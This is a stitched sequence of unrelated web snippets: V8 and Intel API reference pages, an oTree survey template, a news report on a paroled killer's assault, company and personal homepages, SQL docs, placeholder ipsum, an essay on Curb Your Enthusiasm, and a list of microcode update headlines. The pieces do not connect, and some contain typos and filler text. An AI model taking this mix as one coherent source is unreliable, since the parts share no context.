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V8 API Reference Guide for io.js v10.1.0
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#include <v8-platform.h>
Public Types | |
| enum | ExpectedRuntime { kShortRunningTask, kLongRunningTask } |
| typedef void(* | StackTracePrinter) () |
Public Member Functions | |
| virtual PageAllocator * | GetPageAllocator () |
| virtual void | OnCriticalMemoryPressure () |
| virtual bool | OnCriticalMemoryPressure (size_t length) |
| virtual int | NumberOfWorkerThreads () |
| V8_DEPRECATE_SOON ("NumberOfAvailableBackgroundThreads() is deprecated, use ""NumberOfAvailableBackgroundThreads() instead.", virtual size_t NumberOfAvailableBackgroundThreads()) | |
| virtual std::shared_ptr< v8::TaskRunner > | GetForegroundTaskRunner (Isolate *isolate) |
| V8_DEPRECATE_SOON ("GetBackgroundTaskRunner() is deprecated, use ""GetWorkerThreadsTaskRunner() ""instead.", virtual std::shared_ptr< v8::TaskRunner > GetBackgroundTaskRunner(Isolate *isolate)) | |
| virtual std::shared_ptr< v8::TaskRunner > | GetWorkerThreadsTaskRunner (Isolate *isolate) |
| V8_DEPRECATE_SOON ("ExpectedRuntime is deprecated, use CallOnWorkerThread() instead.", virtual void CallOnBackgroundThread(Task *task, ExpectedRuntime expected_runtime)) | |
| virtual void | CallOnWorkerThread (std::unique_ptr< Task > task) |
| virtual void | CallBlockingTaskOnWorkerThread (std::unique_ptr< Task > task) |
| virtual void | CallOnForegroundThread (Isolate *isolate, Task *task)=0 |
| virtual void | CallDelayedOnForegroundThread (Isolate *isolate, Task *task, double delay_in_seconds)=0 |
| virtual void | CallIdleOnForegroundThread (Isolate *isolate, IdleTask *task) |
| virtual bool | IdleTasksEnabled (Isolate *isolate) |
| virtual double | MonotonicallyIncreasingTime ()=0 |
| virtual double | CurrentClockTimeMillis ()=0 |
| virtual StackTracePrinter | GetStackTracePrinter () |
| virtual TracingController * | GetTracingController ()=0 |
Static Protected Member Functions | |
| static double | SystemClockTimeMillis () |
V8 Platform abstraction layer.
The embedder has to provide an implementation of this interface before initializing the rest of V8.
This enum is used to indicate whether a task is potentially long running, or causes a long wait. The embedder might want to use this hint to decide whether to execute the task on a dedicated thread.
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pure virtual |
Schedules a task to be invoked on a foreground thread wrt a specific |isolate| after the given number of seconds |delay_in_seconds|. Tasks posted for the same isolate should be execute in order of scheduling. The definition of "foreground" is opaque to V8.
|
inlinevirtual |
Schedules a task to be invoked on a foreground thread wrt a specific |isolate| when the embedder is idle. Requires that SupportsIdleTasks(isolate) is true. Idle tasks may be reordered relative to other task types and may be starved for an arbitrarily long time if no idle time is available. The definition of "foreground" is opaque to V8.
Schedules a task to be invoked on a foreground thread wrt a specific |isolate|. Tasks posted for the same isolate should be execute in order of scheduling. The definition of "foreground" is opaque to V8.
|
pure virtual |
Current wall-clock time in milliseconds since epoch. This function is expected to return at least millisecond-precision values.
|
inlinevirtual |
Returns a TaskRunner which can be used to post a task on the foreground. This function should only be called from a foreground thread.
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inlinevirtual |
Allows the embedder to manage memory page allocations.
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inlinevirtual |
Returns a function pointer that print a stack trace of the current stack on invocation. Disables printing of the stack trace if nullptr.
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pure virtual |
Returns an instance of a v8::TracingController. This must be non-nullptr.
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inlinevirtual |
Returns true if idle tasks are enabled for the given |isolate|.
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pure virtual |
Monotonically increasing time in seconds from an arbitrary fixed point in the past. This function is expected to return at least millisecond-precision values. For this reason, it is recommended that the fixed point be no further in the past than the epoch.
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inlinevirtual |
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inlinevirtual |
Enables the embedder to respond in cases where V8 can't allocate large memory regions. The |length| parameter is the amount of memory needed. Returns true if memory is now available. Returns false if no memory could be made available. V8 will retry allocations until this method returns false.
Embedder overrides of this function must NOT call back into V8.
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staticprotected |
Default implementation of current wall-clock time in milliseconds since epoch. Useful for implementing |CurrentClockTimeMillis| if nothing special needed.
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inline |
Gets the number of threads that are used to execute background tasks. Is used to estimate the number of tasks a work package should be split into. A return value of 0 means that there are no background threads available. Note that a value of 0 won't prohibit V8 from posting tasks using |CallOnBackgroundThread|.
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inline |
Returns a TaskRunner which can be used to post a task on a background. This function should only be called from a foreground thread.
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inline |
Schedules a task to be invoked on a background thread. |expected_runtime| indicates that the task will run a long time. The Platform implementation takes ownership of |task|. There is no guarantee about order of execution of tasks wrt order of scheduling, nor is there a guarantee about the thread the task will be run on.


Today, I’m covering one of my favorite parts of the Nordstrom Anniversary Sale: the activewear!
By Mehdi Ahmadi | in Cooking , Recipe


{% extends "global/Base.html" %} {% load staticfiles otree_tags %} {% block title %} Understanding Question 1 of 1 {% endblock %} {% block content %}
Suppose in a group, 1 participant contributed 80 points, 1 participant contributed 40, and 1 participant contributed nothing. What would be the payoff of the participant who contributed 80 points?
{% formfield player.question with label="His payoff would be" %} {% next_button %} {% include 'public_goods/Instructions.html' %} {% endblock %}


Killer with tights fetish strangled mum weeks after jail release
A convicted murderer throttled a mum-of-two, just weeks after convincing the Parole Board he was safe to be on the streets.
‘Exceptionally dangerous killer’ Donald Sheridan, who has a fetish for tights, was released from prison on licence in May and targeted his victim on June 2.
He forced her to put on two pairs of tights and strangled her as she begged for her life in Leeds city centre.
Sheridan, 55, was given a life sentence in 1986 for the sexually-motivated murder of a 67-year-old woman in South Wales.
He had kicked and punched the pensioner to death, whose body was found wearing only her underwear and tights.
Sheridan later admitted raping her after he was given the life sentence.
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But he recently convinced the Parole Board he was safe to be returned to the community.
Weeks after his release, he waited for her near a disused railway bridge as walked home from the gym and dragged her into the bushes, choked her and demanded money.
The mum described how Sheridan smelt strongly of alcohol and forced her to koss him.

The woman was then ordered to remove her leggings and underwear before being made to wear two pairs of rights Sheridan had bought with him.

He let the woman go and told her: ‘Can you please not tell anyone.’
Sheridan was arrested that evening, having breached his curfew by returning drunk to the hostel at Holbeck House at 10.30pm.
The victim reported the incident to the police and a pair of rights containing the predator’s DNA were recovered from the scene.
Michael Morley, prosecuting, told the court Sheridan went on to make a series of ‘concerning admissions’.
The lawyer added: ‘He said women in their 60s and 70s were more his type.’
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Mr Morley said Sheridan admitted he would have raped and killed his latest victim if she were in that age bracket.
The defendant told police he had been going into Leeds to identify ‘potential victims’ and admitted to following an elderly woman around the city centre and watching her all afternoon as she went to a betting shop.
He also admitted lying to the Parole Board at his hearing in order to be released and said he continued to have urges to harm both men and women.
Recalling his attack on the woman, Sheridan said: ‘I couldn’t help myself.’
He went on to admit he had a fetish for elderly females and tights since he had seen a naked nun when he was in care as a child.

The defendant said he had taken some with him to his latest offence as they were a ‘comfort blanket’.
After he was arrested Sheridan attacked a female dock officer when he appeared before Leeds Magistrates Court, West Yorkshire.
He grabbed her by the neck as he was being returned to his cell and put his tongue in her mouth.
The court heard how the officer was off work for three months after the incident as she was so traumatised.

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He had previously been released from custody after a Parole Board hearing in 2001 but was later recalled to prison.
Judge Rodney Jameson, QC, gave Sheridan a life sentence for his latest offence and imposed a minimum term of five-and-a-half years.
But the judge told the court it was likely that Sheridan would never be released from prison.
He said: ‘He is a man with quite exceptional dangerousness.
‘I can’t see circumstances in which it will ever be safe to release him until he is so enfeebled by age that he is no longer able to pose a danger.’
Got a story for Metro.co.uk?
Get in touch with our news team by emailing us at<EMAIL_ADDRESS>For more stories like this, check our news page.


Home / About
WHAT IS RIZ IS DEFINED HERE. RIZ Digital Indonesia is the leading digital marketing agency in Indonesia. We are striving to provide integrated digital marketing solutions, specializing in providing result driven solution for business of any scale. Our main sole focus is you, our customer. We believe in creating positive results to boost your brand and improve your overall online marketing ROI, whether through improving online visibility, increasing leads, or driving more online sales. We are Yahoo/Bing Certified Professionals with over 7 years of experience in paid search marketing. RIZ Digital Indonesia is excited to welcome you and hear about your online business goals.
To be the leading integrated Digital Marketing Agency in Indonesia. Becoming the pioneer in digital marketing growth in Indonesia by focusing on growing customer loyalty through transparent practices to develop proprietary tools and technologies and provide result driven solution to help online businesses grow.


CREATE PUBLIC SYNONYM -- define a new public synonym
CREATE [ OR REPLACE ] PUBLIC SYNONYM name FOR object
CREATE PUBLIC SYNONYM defines a public synonym for certain types of database objects. A synonym is an alternate name that can be used to refer to the object. A public synonym is a synonym globally available in the database that can be referenced by any user in the database cluster.
CREATE OR REPLACE PUBLIC SYNONYM is similar, but if a public synonym of the same name already exists, it is replaced.
A synonym is useful in cases where a database object would normally require full qualification by schema name in order to be properly referenced in a SQL statement. A synonym defined for that object simplifies the reference to a single, unqualified name.
See Section 2.2.4 for additional information on public synonyms.
name
The name of a public synonym to be created.
object
The name (optionally schema-qualified) of a database object for which a public synonym is created. The database object may be a table, view, sequence, or another synonym.
Any user can create a public synonym - no special permission is required.
A public synonym can be referenced by any user in any SQL statement, however, the statement will only be successfully executed if the user has the proper permissions on the database object referenced by the synonym.
A public synonym is not a member of any schema, but is a database-wide name.
Public synonyms can be created for non-existent objects.
Access to the database object referenced by the public synonym is determined by the permissions of the current user of the public synonym. Therefore the public synonym user must have the appropriate permissions on the underlying database object.
Create a public synonym for the emp table in a schema named, enterprisedb:
See Also


November 15 2017
Direct trade cred bespoke green juice neutra air plant, photo booth fanny pack. Sustainable trust fund humblebrag squid letterpress distillery schlitz gluten-free af. Af gastropub ennui dreamcatcher direct trade chartreuse.
Hell of brunch tbh, direct trade heirloom cornhole vegan copper mug snackwave food truck. Kogi af subway tile ennui, deep v snackwave unicorn iPhone. Twee pop-up trust fund organic meh, truffaut photo booth woke crucifix la croix edison bulb. DIY hella banh mi, thundercats leggings hexagon activated charcoal health goth poutine four loko kinfolk. Ethical cray retro food truck, vape twee dreamcatcher YOLO intelligentsia next level pitchfork disrupt slow-carb.
90's kitsch woke pug locavore edison bulb keytar bushwick. Fingerstache distillery beard, raw denim authentic air plant shabby chic try-hard street art adaptogen locavore farm-to-table green juice kombucha portland. Master cleanse gochujang pok pok mustache flexitarian, beard banjo pabst cloud bread selfies.
December 11 2015
Tote bag schlitz jean shorts, kombucha four loko farm-to-table tbh pug asymmetrical narwhal mlkshk gochujang tattooed shaman migas.
Schlitz tbh woke jean shorts gluten-free vaporware actually everyday carry truffaut green juice whatever direct trade cronut. Truffaut ramps activated charcoal YOLO bushwick four dollar toast authentic venmo plaid four loko. Bitters master cleanse migas sriracha gluten-free mustache, blog letterpress godard ramps. Skateboard echo park hammock fam, copper mug squid drinking vinegar. Tbh microdosing keffiyeh, drinking vinegar thundercats farm-to-table af tumeric schlitz hella.
90's kitsch woke pug locavore edison bulb keytar bushwick. Fingerstache distillery beard, raw denim authentic air plant shabby chic try-hard street art adaptogen locavore farm-to-table green juice kombucha portland. Master cleanse gochujang pok pok mustache flexitarian, beard banjo pabst cloud bread selfies.


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CIFXMeshMap Class ReferenceInheritance diagram for CIFXMeshMap:
List of all members.
Constructor & Destructor Documentation
| CIFXMeshMap::CIFXMeshMap |
( |
|
) |
[private] |
|
| CIFXMeshMap::~CIFXMeshMap |
( |
|
) |
[private, virtual] |
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Member Function Documentation
| IFXRESULT CIFXMeshMap::AddIdentityMappingToMap |
( |
U32 |
mapIndex |
) |
[virtual] |
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|
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This allows an identity map to be added to an IFXVertexMap that will not be used for another purpose (useful in the case that only a few of the maps in the IFXMeshMap are used by the person who allocates it).
Implements IFXMeshMap. |
| IFXRESULT CIFXMeshMap::AddMappingToMap |
( |
const U32 |
mapIndex, |
|
|
const U32 |
origVertexIndex, |
|
|
const U32 |
indexMesh, |
|
|
U32 |
indexVertex |
|
) |
[virtual] |
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|
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Allows to modify maps arrays.
Adds mapping to an IFXVertexMap.
- Parameters:
-
| mapIndex | Iindex of map array. |
| origVertexIndex | Index of original vertex. |
| indexMesh | Mesh index. |
| indexVertex | Vertex index. |
Implements IFXMeshMap. |
| U32 CIFXMeshMap::AddRef |
( |
|
) |
[virtual] |
|
|
|
This method increments the reference count for an interface on a component.
- Note:
- It should be called for every new copy of a pointer to an interface on a given component.
- Returns:
- It returns a U32 that contains a value from 1 to 2^32 - 1 that defines the new reference count. The return value should only be used for debugging purposes.
Implements IFXUnknown. |
| IFXRESULT CIFXMeshMap::Allocate |
( |
IFXMeshMap * |
pMeshMap |
) |
[virtual] |
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|
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Allocates a map of sufficient size to fully describe the mapping of pMesh.
Implements IFXMeshMap. |
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Allocates a map of sufficient size to fully describe the mapping of pPointSet.
Implements IFXMeshMap. |
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Allocates a map of sufficient size to fully describe the mapping of pLineSet.
Implements IFXMeshMap. |
| IFXRESULT CIFXMeshMap::Allocate |
( |
IFXAuthorMesh * |
pMesh |
) |
[virtual] |
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|
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Allocates a map of sufficient size to fully describe the mapping of pMesh.
Implements IFXMeshMap. |
|
|
- Note:
- each map in pmesh map must be less than or equal to corresponding map
Implements IFXMeshMap. |
| IFXRESULT CIFXMeshMap::ConcatenateMeshMap |
( |
IFXMeshMap * |
pMeshMap, |
|
|
IFXMeshMap ** |
ppOutMap |
|
) |
[virtual] |
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|
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Combines this map with another IFXMeshMap and puts the result in outMap.
The input mesh map should be the one from earlier in the stream, probably the one generated by the compressor. "this" should be the map generated by the IFXMeshCompiler.
Implements IFXMeshMap. |
| IFXRESULT CIFXMeshMap::Construct |
( |
U32 * |
pMapSizes |
) |
[private] |
|
|
|
Returns pointer to array of U32, modify this array to describe mapping.
- Note:
- If you want to update maps do not use this method. Use AddMappingToMap instead.
Implements IFXMeshMap. |
|
|
- Note:
- If you want to update maps do not use this method. Use AddMappingToMap instead.
0 - face map 1 - position map 2 - normal map 3 - texture map 4 - diffuse map 5 - specular map
Implements IFXMeshMap. |
| IFXRESULT CIFXMeshMap::PopulateMeshMap |
( |
IFXAuthorMeshMap * |
pAuthorMeshMap |
) |
[virtual] |
|
| IFXRESULT CIFXMeshMap::QueryInterface |
( |
IFXREFIID |
interfaceId, |
|
|
void ** |
ppInterface |
|
) |
[virtual] |
|
|
|
This method provides access to the various interfaces supported by a component.
Upon success, it increments the component's reference count and hands back a pointer to the specified interface.
- Note:
- A number of rules must be adhered to by all implementations of IFXAPI QueryInterface . For a list of such rules, refer to the IFXCOM usage guidelines.
- Returns:
- Upon success, IFX_OK is returned. Otherwise, either IFX_E_INVALID_POINTER or IFX_E_UNSUPPORTED are returned.
Implements IFXUnknown. |
| U32 CIFXMeshMap::Release |
( |
|
) |
[virtual] |
|
|
|
This method decrements the reference count for the calling interface on a component.
- Note:
- If the reference count on a component falls to zero, the component is destroyed.
- Returns:
- It returns a U32 that contains a value from 1 to 2^32 - 1 that defines the new reference count. The return value should only be used for debugging purposes.
Implements IFXUnknown. |
Friends And Related Function Documentation
| IFXRESULT IFXAPI_CALLTYPE CIFXMeshMap_Factory |
( |
IFXREFIID |
interfaceId, |
|
|
void ** |
ppInterface |
|
) |
[friend] |
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Member Data Documentation
|
|
For each attribute there is an IFXVertexMap that describes the mapping of that particular attribute.
The VertexMap name is to maintain compatability with the previous release. |
© 1999 - 2006 Intel Corporation. All rights reserved.
* Other names and brands may be claimed as the property of others.
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Remove first 2 servers Add 2 servers


Hi! My name is Aashish Sood and welcome to my personal website.
I am a Software Engineer with six years of industry experience and I am currently pursuing master's degree in Computer Science from University of Southern California.
I have been in love with coding for the last 10 years. In the recent months, I have primarliy been working on novel and state-of-art technologies including
Deep Learning, Big Data, Machine Learning, Natural Language Processing, and Data Mining.
Apart from academics I love reading about Indian history and geopolitics.
When away from work I like to spend my time reading books and listening to Joe Rogan podcast


I'm gonna get you a degree in 5 minutes. All you gotta do is find the clues and complete 3 simple tasks. You out of time, you do any funny business, you gotta start all over again, capiche?


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SideCar
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Abstract base class representation of a thread. More...
#include </Users/howes/src/sidecar/Threading/Threading.h>
Data Structures | |
| struct | Exception |
| Top-level exception class for all Thread-related exceptions. More... | |
| struct | FailedCancel |
| Exception thrown if there is a problem with pthread_create. More... | |
| struct | FailedCreate |
| Exception thrown if there is a problem with pthread_create. More... | |
| struct | FailedJoin |
| Exception thrown if there is a problem with pthread_create. More... | |
Public Member Functions | |
| Thread () throw (Condition::FailedInit, Mutex::FailedInit) | |
| Constructor. | |
| virtual | ~Thread () |
| Destructor. More... | |
| pthread_t | getThreadId () const throw () |
| Fetch the thread ID. More... | |
| bool | isRunning () throw (Mutex::FailedLock) |
| void | waitToFinish () throw (Mutex::FailedLock) |
| Pause the current thread until the thread represented by this instance has finished running. | |
| bool | detach () throw () |
| Detach the running thread so that a join() call is unnecessary to clean up thread-specific memory when the thread run() method finishes. More... | |
| bool | join () throw (Thread::FailedJoin) |
| Another thread wishes to consume the one we represent. More... | |
| void | cancel () throw (Thread::FailedCancel) |
| Request that a our thread be canceled. More... | |
| bool | operator== (const Thread &rhs) const throw () |
| See if two Thread objects represent the same thread. More... | |
| bool | operator!= (const Thread &rhs) const throw () |
| See if two Thread objects do not represent the same thread. More... | |
| bool | isActive () const throw () |
| void | start () throw (FailedCreate, Mutex::FailedLock, Condition::FailedInit) |
| Start a new thread. More... | |
Static Public Member Functions | |
| static void | Sleep (double duration) throw (std::out_of_range) |
| Utility to pause a thread for some amount of time. More... | |
| static pthread_t | Self () |
Protected Member Functions | |
| virtual void | run ()=0 |
| Thread-specific code to run when Thread::start is called. More... | |
Abstract base class representation of a thread.
When a new Thread instance is created, it is running in the thread that created it. To actually start a new thread, call the instance method Thread::start. New threads invoke the Thread::run method which must be defined by derived classes.
Definition at line 305 of file Threading.h.
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virtual |
| void Thread::cancel | ( | ) | ||
| throw | ( | Thread::FailedCancel | ||
| ) |
Request that a our thread be canceled.
A thread cancellation is deferred until the thread reaches a cancellation point. Note that usually a call to join() should follow a cancel request, but is not mandatory.
Definition at line 397 of file Threading.cc.
| bool Thread::detach | ( | ) | ||
| throw | ( | |||
| ) |
Detach the running thread so that a join() call is unnecessary to clean up thread-specific memory when the thread run() method finishes.
Definition at line 381 of file Threading.cc.
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inline |
|
inline |
Definition at line 400 of file Threading.h.
References Utils::Exception::operator=().
| bool Thread::isRunning | ( | ) | ||
| throw | ( | Mutex::FailedLock | ||
| ) |
Definition at line 371 of file Threading.cc.
| bool Thread::join | ( | ) | ||
| throw | ( | Thread::FailedJoin | ||
| ) |
Another thread wishes to consume the one we represent.
This method will block the calling thread until our thread exits.
Definition at line 388 of file Threading.cc.
Referenced by Utils::FileWatcher::Monitor::run().
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inline |
See if two Thread objects do not represent the same thread.
| rhs | Thread object to compare with |
Definition at line 396 of file Threading.h.
| bool Thread::operator== | ( | const Thread & | rhs | ) | const |
| throw | ( | ||||
| ) |
See if two Thread objects represent the same thread.
| rhs | Thread object to compare with |
Definition at line 405 of file Threading.cc.
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protectedpure virtual |
Thread-specific code to run when Thread::start is called.
Derived classes must define.
Implemented in Utils::FileWatcher::Monitor.
|
static |
Utility to pause a thread for some amount of time.
Other threads can run while this one is sleeping.
| duration | amount of time to pause, in seconds/microseconds |
Definition at line 221 of file Threading.cc.
| void Thread::start | ( | ) | ||
| throw | ( | FailedCreate, | ||
| Mutex::FailedLock, | ||||
| Condition::FailedInit | ||||
| ) |
Start a new thread.
The new thread will invoke Thread::run, which must be defined by derived classes. Creates a new Starter object to do the actually starting. Call will not return until the new thread is up and running.
Definition at line 332 of file Threading.cc.
Referenced by Utils::FileWatcher::getModificationTime().


The Windows platform supports multi-touch to let you manipulate multiple controls at the same time. Normally mutli-touch input will go to the pannable/zoomable page level, but you can make the range control win over panning and zooming by setting -ms-touch-action: none.


Check it out these cool demos created using storybook. The source code for each example is available here.
npm install react-responsive-carousel --save
Please, feel free to contributing. You may file an issue or submit a pull request!


|
Life in the Anticommons
by Shubha Ghosh
If the show Seinfeld
was about nothing, then its descendent Curb Your Enthusiasm
is about everything. Both programs are the creative spawn of
Larry David, and while the show about two neurotics Jews, a shiksa,
and an inveterate shlemiel applied the microscope to the minute
details of our lives (like the placement of a button on a shirt,
a bit that began and ended the series), David's current show
about the insane in Los Angeles (where else?) tries in every
episode to connect all the details into one big picture. In
the first episode of Curb, for example, David's obsession
with the fold of his pants leads to erectile confusion with his
wife's friend, a resulting family squabble, and a series of lies
that does not end well for our anti-hero. In my favorite episode,
David's decision to be nice to a child leads to an elaborate
plot involving a doll's head, a broken bathroom door, a bottle
of water, and an angry mob that menacingly descends on David
at the end of the half hour. In Curb Your Enthusiasm,
a whole lot of nothing leads to something both bewildering and
exhilarating.

For those of you who are not property theorists, or do not pursue
legal theory as a hobby, the anticommons describes a world where
everything is private. There is no public space, communally
shared or enjoyed. The world, both physical and metaphysical,
is sliced up into individual rights, guarded religiously.
The anticommons is the opposite of the more familiar commons,
a world where nothing is private and excessive sharing leads
to overuse of resources and eventual decline and fall. In the
commons, individuals allow their cattle to overgraze the unrestricted
pastures. In the anticommons, merely looking at someone else's
cattle can be cause for social sanction.
The world of Curb Your Enthusiasm,
which is either real Los Angeles or Los Angeles as extended metaphor,
is undoubtedly an anticommons. When Larry David discards an
apple core in a trash can by the side of the street, the owner
of the trash can reacts viscerally, threatening to kick David's
and anyone else's ass the next time the can is so violated.
(Unfortunately, the next perpetrator turns out to be Ted Danson,
who takes off in flight when the trash can owner sees him defile
his precious property.) The citizens of the anti-commons are
not only hypersensitive, they are shrewd and cunning in negotiating
their self-interest to satisfy even the most trivial wants and
needs. In an episode entitled "The Wire," David and
his wife attempt to convince their neighbors to help defray the
costs of putting an ugly, overhead wire underground. In exchange
for their agreement, the neighbors ask for only one thing: a
meeting with Julia Louise Dreyfuss, the female lead in Seinfeld.
The episode turns into the typical mess, this time involving
the failure to coordinate schedules, an overzealous fan with
a videocamera appropriating Dreyfuss' image, and David's little
black book that could very well have been stolen by someone in
the Dreyfuss' household. At the end of the episode, negotiations
break down, the offensive wire remains above ground, and the
Davids decide, out of necessity, to buy a new house. In the
anticommons, small transgressions become magnified through the
fluttering of easily ruffled wings.
The anticommons is a world
with too many individual rights, and in every episode of Curb
Your Enthusiasm, rights not only talk, they shout out, sometimes
gratingly, more often with great insight. Perhaps the two
best episodes that illustrate just how profound the show can
be about rights are the ones entitled "Affirmative Action"
and "The Group."
In "Affirmative Action,"
Larry David does what no person has ever done before on television
or, perhaps in real life (certainly in academics): admit that
he is completely clueless about race. The episode begins with
David unintentionally insulting his friend's dermatologist by
asking, in presence of the African-American dermatologist: "You
have him as a doctor? With affirmative action and all?"
Needless to say, the offended dermatologist storms off, and
David's friend asks (as all David's friends are wont to do):
"What were you thinking?" David gives the most honest
response imaginable: "I just don't know what to say to black
people". While some may use the incident to comment on
the need for sensitivity, and others to comment on the hypersensitivity
of minorities, and others yet to revive vestigal racial attitudes,
which are far from defunct, David has the guts to admit that
he, as privileged white male, just may not have all the answers.
He portrays himself neither as savior or as villain, but as a
clueless guy, just bumbling along.
The rest of the episode is
a brilliantly choreographed power play as David finds himself
having to get back into the good graces of the dermatologist
in order to have his wife's prescription for a skin rash medication
filled. Following a path strewn with insulted maitre d's and
irate pharmacists, the Davids wind up in the living room of the
dermatologist with a gathering of his equally successful African-American
friends. With his wife scratching an itch next to him, David
squirms to explain his earlier comment and return into good favor
through supplication.. David, however, falls from grace again
when one of the guests emerges from the bathroom and starts berating
him for not having any African-American characters on Seinfeld.
Rights scream, but the show is not cacophonous. The episode
demonstrates the complicated maneuvering that is mandated in
a post-civil rights world, where everyone is conscious at some
level of societal injustices, but ultimately clueless on how
to negotiate the racist demons of the past and their present
incarnations.
A different type of oppression
and victimhood is the subject of "The Group," an episode
in which David attends an incest survivor group to support a
friend and shares a wholly fabricated story about being molested
by an uncle as a child. When a member of the group, played
by Lorraine Newman, meets the uncle at the end of the episode,
the true incest survivor takes out her anger on the fictional
oppressor. While David's story of abuse is certainly a contrived
plot device, the need to make up such a story is consistent with
David's character and the episode's representation of victimhood.
David's character seems to suffer from a persecution complex,
perhaps exacerbated by the hypersensitivities of everyone he
encounters. He sees himself as perpetual victim and consequently
acts out in a ways that brings out the victim in others. Some
undoubtedly would take offense in even broaching the subject
of incest in a humourous manner. But the point is to illustrate
the dynamic of victimhood and the need to lash out at the oppressor,
even a wholly imagined one. Rights do not talk or scream in
the episode, but signify the power play among individuals in
a fractured and fragmented world.
If Curb Your Enthusiasm
was solely about people getting mad at each other over trivial
or grave transgressions, the show would be no different from
reality television. But there seems to be a trajectory to the
series over the three seasons that I, HBO-deprived, have been
able to spot on the recently released DVDs. The first season
set the framework for the world as anticommons.  The third season, however, struck me as less impressive
and entertaining than the other two. While this change in tone
was disappointing, my reaction to the third season did not reflect
a decline in the show's quality. Instead, the episodes of the
third season show the characters attempting to find a moral center
and retreat from their well-honed self-absorption. The lack
of edge to the third reason reflects the dilemma of moving out
of the quagmire of the anticommons.
For example, in the episode
entitled "The Terrorist Attack," David is told in confidence
that Los Angeles is about to be attacked by terrorists. After
a failed attempt to use the threat to get out of an obligation
to attend a fund raising event with his wife, David uses the
information to negotiate good will with the wife of a friend,
whom he feels he has snubbed. The self-serving moves are not
surprising. What is different is that David, for some reason,
cares about the opinion or feeling of another human being.
In "The Special Section," this nascent empathy takes
on a deeper dimension. David returns to Los Angeles from a
business trip in New York to be informed by his father that his
mother has passed away (and that the funeral was last Monday).
For the first time, David seems distraught and emotionally
devastated. That feeling appears shortlived when David tries
to use his mother's death as negotiable currency to extricate
himself from social obligations. But the feeling makes a shining
and memorable reappearance when David learns that his mother
was buried in a special section of the Jewish cemetery because
of a tattoo on her buttocks. David, committing one of the few
unselfish acts in the series, bribes a gravedigger to have his
mother dug up and interred in a more respectable part of the
cemetary.
The third season also demonstrates
David being able to move comfortably across racial and religious
lines. In "Krazee-Eyez Killa," David gets along quite
well with the eponymous African-American rapper, even advising
him on the placement of "motherfucker" in the lyrics
of a work-in-progress. When Killa bestows the honor on David
of calling him "my nigger," David returns the favor
by letting the rapper know that "you are my Caucasian."
In "Mary, Joseph, & Larry," David performs penance
for disrupting the baptism of his sister-in-law's Jewish fiancé
(resulting in the cancellation of the wedding and a heated Jewish-Christian
exchange) by hiring a group of Christian actors staging a manger
scene to perform at his house during the holidays for his visiting
in-laws. But do not think for a moment that humanity has been
restored to the anti-commons. The bond with the rapper breaks
when David, perhaps accidentally, perhaps not, spills the beans
to the rapper's fiancee about his infidelities. And the ecumenical
ties with the actors are severed when David comments on the figure
of the actress playing Mary, sending Joseph into violent rage
against the man of good intentions.
Nonetheless, season three ends
optimistically, on a hopeful note for those who think that all
is lost in the socially splintered anticommons. The running
plot of the third season concerns David opening a new restaurant
with his friends and colleagues. This transaction, itself, suggests
a movement from the Hobbesian world of previous seasons and the
emergence of pacifying and sweetening commerce. In the anticommons,
transactions are the main way of building bridges across individuals.
But David manages to connect with other people at another level
as well. In the final episode of season three, entitled "The
Grand Opening," David sees a bunch of high school students
who have shaved their heads as a sign of solidarity with a classmate
undergoing chemotherapy. David comments, showing for once some
depth to his character, that he would like to do something so
noble one day. His time comes on the opening night of the restaurant
when his head chef, who suffers from Tourette's Syndrome, breaks
out in a bout of loud and unprintable swearing. The guests stop
eating, and David and his partners are paralyzed in their response.
Finally, David has his moment, perhaps the key moment of the
series, and he covers up for the chef's affliction by swearing
very loudly himself. Soon, everyone in the restaurant begins
cursing, David's partner, his father and uncles, his wife's family,
and a host of other characters from past episodes. The denizens
of the anticommons engage in their first communal act, transcending
their selfish, protectionist tendencies in a profanely shared
moment.
So after three seasons perhaps
there is hope. I cannot wait for the fourth season to come out
on DVD so I can see if life in the anticommons has evolved any
further. In the meanwhile, I have three DVD sets which have
a special place in my library to serve as my portal to a world
where social rules and a sense of social solidarity have disintegrated
into self-concern, self-aggrandizement, and self-absorption.
Hey, they are more entertaining than a faculty meeting or an
AALS convention and come with an off button.
Posted March 1, 2005
|


hi! my name is woori!
i want to be a front-end developer
it hasn't been long since i started studing.
SO.. Let's study hard tgether! :0


--- layout: post title: Rubyish Dependency Injection post_id: 329 categories: - odds & ends date: 2004-10-06 14:33:00.000000000 -06:00 author: Jamis permalink: 2004/10/6/rubyish-dependency-injection.html ---
Today, I witnessed something beautiful.
Jim Weirich let me preview an article he wrote (and which he will shortly post on his own blog) about dependency injection in Ruby. He gives a sample implementation, which I found particularly elegant, and very “rubyish”.
Jim has consented to let me use his design as the basis for the “next generation” of Copland. I’m thinking I may want to just create a whole new project, since Copland’s approach to DI is significantly different than Jim’s, and the two are not exactly compatible.
Although…it should be possible to implement Copland on top of Jim’s design… something to think about, anyway.


cdemi's
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You are being directed to the survey. If the survey does not open automatically, click the button below:


So, to review, the sound of the Chroma is controlled by a set of {_parameter parameters}, which are divided into the following categories:
Parameters are combined into {_program programs}, which are stored in files. Selecting a sound loads a program into the Main {_instrument}, and if its {_link_program link} parameters are set, loads a second sound into the Link instrument. Edits are always done to the program in the Main instrument, and have no effect on stored programs unless explicitly stored with the STORE switch.


List Of All Intel Microcode Updates For Windows 10
Update Intel Microcode On Freebsd Thomas Krenn Wiki
Mcextractor Intel Amd Via Amp Freescale Microcode Extraction Tool Hacking Reviews
Examining Intel Microcode In Lenovo Firmware Updates Musings
Download Intel Microcode Boot Loader Majorgeeks
Kb4497165 Intel Microcode Updates For Windows 10 V1903 June 18
Download Intel Cpu Microcode Update Majorgeeks
Windows How To Get Latest Cpu Microcode Without Modding The Bios Guru3d Forums
Kb4558130 Intel Microcode Updates For Windows 10 2004 Howtoedge
How To Install Update Intel Microcode Firmware On Linux Nixcraft
Intel Releases Cpu Microcode Updates For Mds Vulnerabilities Unearthed On May 14 Techpowerup
Loading Microcode From The Os
How To Extract Microcodes From Intels Linux Package And Patch Them Into Ami Bios Image Files On Windows And Linux Unix The Gat At Xin At
February 2019 Intel Microcode Updates For Windows 10
Intel Microcode Updates Released For All Windows 10 Versions
Notes On Intel Microcode Updates
Kb4497165 Brings Intel Microcode Updates For Windows 10 19h1
Why Don T Intel Microcode Updates Work On My System Ask Ubuntu
Kb4558130 September 2020 Intel Microcode Updates
Grc Inspectre
Wireless How To Remove Microcode Firmware For Intel Cpus From Intel Microcode Ask Ubuntu
Intel No Microcode Updates For Some Older Cpus Born S Tech And Windows World
How To Update Cpu Microcode In An Ami Bios For Lga 771 775
New Intel Microcode Updates For Windows 10 Fix Cpu Hardware Bugs
